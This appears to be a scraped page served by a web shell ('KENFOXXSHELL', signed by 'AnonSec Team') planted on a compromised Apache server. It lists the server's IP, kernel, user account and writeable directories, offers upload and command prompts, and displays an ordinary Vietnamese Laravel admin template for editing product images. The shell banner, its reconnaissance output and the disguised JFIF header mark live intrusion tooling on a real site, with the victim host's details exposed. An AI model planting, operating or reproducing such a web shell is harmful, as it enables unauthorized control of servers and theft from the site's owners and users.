JFIFHHC     C  " 5????! ??? Donat Was Here
KENFOXXSHELL
Server IP : 160.25.81.117  /  Your IP : 216.73.216.137
Web Server : Apache/2
System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : bellizen ( 1045)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/bellizen/domains/bellizeno.com/private_html/resources/views/admin/image/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/bellizen/domains/bellizeno.com/private_html/resources/views/admin/image/edit.blade.php
@extends('admin.master')



@section('content')



@section('controller','Image')



@section('action','Edit')



<!-- Content Header (Page header) -->



<section class="content-header">



  <h1>



   	@yield('controller')



    <small>@yield('action')</small>



  </h1>



  <ol class="breadcrumb">



    <li><a href="admin"><i class="fa fa-dashboard"></i> Home</a></li>



    <li><a href="javascript:">@yield('controller')</a></li>



    <li class="active">@yield('action')</li>



  </ol>



</section>











<!-- Main content -->



<section class="content">



  



    <div class="box">



    	@include('admin.messages_error')



        <div class="box-body">



        	<form method="post" name="frmEditProduct" action="admin/image/edit?id={{$id}}" enctype="multipart/form-data">



        		<input type="hidden" name="_token" value="{!! csrf_token() !!}" />



        		



      			<div class="nav-tabs-custom">



	                <ul class="nav nav-tabs">



	                  	<li class="active"><a href="#tab_1" data-toggle="tab" aria-expanded="false">Thông tin chung</a></li>



	                </ul>



	                <div class="tab-content">



	                  	<div class="tab-pane active" id="tab_1">



	                  		<div class="row">



		                  		<div class="col-md-6 col-xs-12">



									



							    	<div class="form-group @if ($errors->first('txtName')!='') has-error @endif">



								      	<label for="ten">Tiêu đề (Tiếng việt)</label>



								      	<input type="text" name="txtName" id="txtName" value="{{ $data->name }}"  class="form-control" />



								      	@if ($errors->first('txtName')!='')



								      	<label class="control-label" for="inputError"><i class="fa fa-times-circle-o"></i> {!! $errors->first('txtName'); !!}</label>



								      	@endif



									</div>



								 



							

								</div>



								<div class="col-md-6 col-xs-12">



								



								    	<div class="form-group @if ($errors->first('fImages')!='') has-error @endif">



    										<div class="form-group">



    											<img style="width: 28px;" src="{{ asset('upload/image/'.$data->images) }}" onerror="this.src='{{asset('public/admin_assets/images/no-image.jpg')}}'" width="200"  alt="NO PHOTO" />



    											<input type="hidden" name="img_current" value="{!! @$data->images !!}">



    										</div>



    										<label for="file">Chọn File ảnh</label>



    								     	<input type="file" id="file" name="fImages" >



    								    	@if ($errors->first('fImages')!='')



    								      	<label class="control-label" for="inputError"><i class="fa fa-times-circle-o"></i> {!! $errors->first('fImages'); !!}</label>



    								      	@endif



    									</div>



							            <div class="form-group">
    								      	<label for="ten">Thuộc gói sản phẩm hoặc sản phẩm đơn</label>
    								      	<select name="product_id" class="form-control">  
    								      		<option value="0">------ Gói sản phẩm ------</option>
    								      		<?php $pro = DB::table("products")->select('name','id')->where('type',null)->get();
                                                foreach($pro as $rows){  
                                                ?>      
                                                 <option value="{{ $rows->id }}" <?php if($data->product_id ==  $rows->id){echo 'selected';}?>>{{ $rows->name }}</option>
                                                <?php } ?> 
                                                <option value="0">------ Sản phẩm đơn ------</option> 
                                            	<?php $pro = DB::table("products")->select('name','id')->where('type','sanpham')->get();
                                                foreach($pro as $rows){  
                                                ?>      
                                                 <option value="{{ $rows->id }}" <?php if($data->product_id ==  $rows->id){echo 'selected';}?>>{{ $rows->name }}</option>
                                                <?php } ?>  
    								      	</select>
    									</div>
                                     <div class="form-group">



								      	<label for="ten">Màu sắc</label>



                                        <select name="color_id" class="form-control">



                                        <!------ Gói cơ bản -------->



								      	         <?php $color=DB::table("colors")->select()->get();



                                                    foreach($color as $row){    



                                                 ?>



                                                     <option  value="{{ $row->id }}" <?php if($data->color_id ==  $row->id){echo 'selected';}?>>{{ $row->name }} </option>



                                                <?php } ?>



                                       



                                        </select>



									</div> 



								</div>



							</div>



							<div class="clearfix"></div>



	                  	</div><!-- /.tab-pane -->







	                </div><!-- /.tab-content -->



	            </div>



	            <div class="clearfix"></div>



			    



			    <div class="box-footer">



			    	<div class="row">



						<div class="col-md-6">



					    	<button type="submit" class="btn btn-primary">Cập nhật</button>



					    	<button type="button" class="btn btn-danger" onclick="javascript:window.location='admin/image'">Thoát</button>



				    	</div>



			    	</div>



			  	</div>



		    </form>



        </div><!-- /.box-body -->



    </div><!-- /.box -->



    



</section><!-- /.content -->







@endsection()




Anon7 - 2022
AnonSec Team